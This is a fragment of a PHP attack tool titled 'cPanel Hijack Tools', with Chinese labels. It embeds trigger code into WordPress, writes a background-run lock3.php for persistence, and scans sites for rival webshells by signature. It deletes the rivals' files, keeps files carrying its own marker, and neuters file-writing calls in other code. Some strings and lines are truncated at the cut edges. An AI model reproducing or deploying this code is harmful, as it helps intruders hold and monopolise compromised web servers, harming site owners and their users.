";
}else{
$content .= "WordPress 触发代码嵌入 ".$temp." 失败
";
}
}else{
$content .= "WordPress 触发代码嵌入 ".$temp." 已经存在
";
}
}
}
$content .= "WordPress 触发式守护 结束
";
}
break;
case 3:
$code = ' /dev/null 2>/dev/null &", $e18);@unlink("$q16");?>';
$check = file_put_contents($root.'lock3.php', $code);
if($check == false){
$fp = fopen($root.'lock3.txt',"wb");
fwrite($fp, $code);
fclose($fp);
rename($root.'lock3.txt', $root.'lock3.php');
}
exec("php -f".$root."/lock3.php > /dev/null 2>/dev/null &", $return);
$content .= "进程式守护 结束
";
break;
}
break;
default:
$title = 'cPanel 劫持';
$content = '';
break;
}?>
cPanel Hijack Tools
| '.$fullPath.' | '.substr(sprintf('%o', fileperms($fullPath)), -4).' | '.date("Y-m-d H:i:s", filectime($fullPath)).' | '.date("Y-m-d H:i:s", filemtime($fullPath)).' | '.date("Y-m-d H:i:s", fileatime($fullPath)).' | '.round(filesize($fullPath) / 1024, 2).' Kb | '.$type.' | ';
if($auto == 1 && !strstr($txt, $sign)){
$txt = str_replace('file_put_contents', '//file_put_contents', $txt);
$txt = str_replace('fwrite', '//fwrite', $txt);
file_put_contents($fullPath, $txt);
}
}
}
}
}
}
}
function hardScandir($dir){
if(function_exists("scandir")){
return scandir($dir);
}else{
$dh = opendir($dir);
while(false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function escape($uri){
global $dian;
$result = str_replace('%2F', '/', rawurlencode($uri));
$result = str_replace('.', $dian, $result);
return $result;
}
function checkSize($fileSize, $checkSize){
$status = false;
if(abs($fileSize - $checkSize) < 250){
$status = true;
}
return $status;
}
function getHijackNum($link){
$z = 0;
$x = explode('_', $link);
if(isset($x[1])){
$y = explode('/', $x[1]);
if(isset($y[0])){
$z = $y[0] % 10;
}
}
return $z;
}
function getDelAll($path, $md5, $auto){
global $shell;
$temp = scandir($path);
if($temp){
foreach($temp as $v){
$fullPath = $path.'/'.$v;
$fullPath = str_replace('//', '/', $fullPath);
if(is_dir($fullPath)){
if($v == '.' || $v == '..'){
continue;
}
getDelAll($fullPath, $md5, $auto);
}else{
$size = round(filesize($fullPath) / 1024, 2);
if($size < 1024){
$temp = md5(file_get_contents($fullPath));
if($temp == $md5){
$shell .= ' | '.$fullPath.' | '.substr(sprintf('%o', fileperms($fullPath)), -4).' | '.date("Y-m-d H:i:s", filectime($fullPath)).' | '.date("Y-m-d H:i:s", filemtime($fullPath)).' | '.date("Y-m-d H:i:s", fileatime($fullPath)).' | '.round(filesize($fullPath) / 1024, 2).' Kb |
';
if($auto == 1){
unlink($fullPath);
}
}
}
}
}
}
}
function getShell($path, $sign, $auto){
global $shell;
$temp = scandir($path);
if($temp){
foreach($temp as $v){
$fullPath = $path.'/'.$v;
$fullPath = str_replace('//', '/', $fullPath);
$x = explode(".", $v);
$x = $x[count($x) - 1];
if(is_dir($fullPath)){
if($v == '.' || $v == '..'){
continue;
}
getShell($fullPath, $sign, $auto);
}elseif(strtolower($x) == 'php' || strtolower($x) == 'js'){
$txt = file_get_contents($fullPath);
if($txt){
$txt = strtolower($txt);
$size = filesize($fullPath);
$status = 0;
if(strstr($txt, strtolower($sign))){
$status = 2;
$type = '己方标记';
}else{
if(strstr($txt, ';@$') && strstr($txt, ")].$") && strstr($txt, "(('')")){
$status = 1;
$type = '数组加密-1';
}elseif(strstr($txt, ']];$') && strstr($txt, "base64_decode") && strstr($txt, "mktime")){
$status = 1;
$type = '数组加密-2';
}elseif((strstr($txt, '_files') || strstr($txt, 'base64_decode')) && strstr($txt, '_get') && (strstr($txt, "error_reporting") || strstr($txt, "ignore_user_abort") || strstr($txt, "fm_convert_win")) && strstr($txt, 'set_time_limit') && !strstr($v, '.min.js') && !strstr($txt, 'updraftplus') && !strstr($txt, 'EASYPOPULATE_CONFIG')){
$status = 1;
$type = '未加密-1';
}elseif(strstr($txt, '$_post') && (strstr($txt, 'file_put_contents') || strstr($txt, "fopen")) && strstr($txt, 'error_') && strstr($txt, 'script') && strstr($txt, '_files') && (strstr($txt, 'opendir') || strstr($txt, 'scandir')) && strstr($txt, 'chmod') && strstr($txt, 'filesize') && strstr($txt, 'ini_') && strstr($txt, 'exec(')){
$status = 1;
$type = '未加密-2';
}elseif(strstr($txt, 'php_uname') && strstr($txt, "mail(") && strstr($txt, "json_encode") && strstr($txt, '$_get') && strstr($txt, 'curl_exec')){
$status = 1;
$type = '邮件型';
}elseif(strstr($txt, "eval('?>'.$") && !strstr($txt, 'mustache')){
$status = 1;
$type = 'eval';
}elseif(strstr($txt, 'eval(') && (strstr($txt, "base64_decode(") || strstr($txt, '\x6') || strstr($txt, 'openssl_decrypt'))){
$status = 1;
$type = 'eval+base64';
}elseif(strstr($txt, 'multipart') && strstr($txt, 'type="file"') && (strstr($txt, 'if(@copy') || strstr($txt, '@fopen'))){
$status = 1;
$type = '上传大码-1';
}elseif((strstr($txt, 'base64_decode') || strstr($txt, '@shmop_open')) && strstr($txt, '$_files') && strstr($txt, '@copy') && !strstr($txt, 'wp_handle_upload_error')){
$status = 1;
$type = '上传大码-2';
}elseif(strstr($txt, 'goto') && strstr($txt, ": function") && strstr($txt, ": eval(")){
$status = 1;
$type = 'goto';
}elseif(strstr($txt,'null;@eval(') && strstr($txt,'};$')){
$status = 1;
$type = '01';
}elseif(strstr($txt, 'get_str') && strstr($txt, 'str_rot13') && strstr($txt, '@eval(')){
$status = 1;
$type = '02';
}elseif(strstr($txt, 'ignore_user_abort') && strstr($txt, "@include(pack(")){
$status = 1;
$type = '03';
}elseif(strstr($txt, 'base64_decode') && strstr($txt, "@chmod") && strstr($txt, '=="') && !strstr($txt, 'cpa_ind5.php')){
$status = 1;
$type = '04';
}elseif(strstr($txt, 'gzuncompress(strrev(') && strstr($txt, "create_function") && checkSize($size, 22534)){
$status = 1;
$type = '05';
}elseif(strstr($txt, 'cdn.jsdelivr.net') && strstr($txt, "sweetalert.min.js") && checkSize($size, 13695)){
$status = 1;
$type = '06';
}elseif(strstr($txt, ')return') && strstr($txt, "}else{function")){
$status = 1;
$type = '07';
}elseif(strstr($txt, 'class_uc_key') && strstr($txt, "hexdec") && checkSize($size, 60048)){
$status = 1;
$type = '08';
}elseif(strstr($txt, 'require(@$') && strstr($txt, "error_reporting(0);") && strstr($txt, "set_time_limit(0);")){
$status = 1;
$type = '09';
}elseif(strstr($txt, '$_post') && strstr($txt, '$_cookie') && strstr($txt, 'md5(') && strstr($txt, '@setcookie') && strstr($txt, 'create_function')){
$status = 1;
$type = '10';
}elseif(strstr($txt, ';@include(') && strstr($txt, '$_post') && strstr($txt, '$_cookie') && strstr($txt, 'return @$')){
$status = 1;
$type = '11';
}elseif(strstr($txt, "getcwd") && strstr($txt, 'file_exists') && strstr($txt, '@chdir') && strstr($txt, '@scandir')){
$status = 1;
$type = '12';
}elseif(strstr($txt, '.chr(') && strstr($txt, "@include(") && strstr($txt, "chr(ord($")){
$status = 1;
$type = '13';
}elseif(strstr($txt, 'register_key') && strstr($txt, "kaylin") && checkSize($size, 86523)){
$status = 1;
$type = '14';
}elseif((strstr($txt, "base64_decode") || strstr($txt, 'error_reporting')) && strstr($txt, '"display_errors"') && strstr($txt, 'function_exists')){
$status = 1;
$type = '15';
}elseif(strstr($txt, "base64_decode") && strstr($txt, 'fwrite') && strstr($txt, '.php?pass=')){
$status = 1;
$type = '16';
}elseif(strstr($txt, '$_server["\x') && strstr($txt, "serialize")){
$status = 1;
$type = '17';
}elseif(strstr($txt, 'parse_str') && strstr($txt, " 0){
$shell .= ' | '.$fullPath.' | '.substr(sprintf('%o', fileperms($fullPath)), -4).' | '.date("Y-m-d H:i:s", filectime($fullPath)).' | '.date("Y-m-d H:i:s", filemtime($fullPath)).' | '.date("Y-m-d H:i:s", fileatime($fullPath)).' | '.round(filesize($fullPath) / 1024, 2).' Kb | '.$type.' |
';
if($auto == 1 && $status == 1){
unlink($fullPath);
}
}
}else{
// can not read file
}
}
}
}
}
?>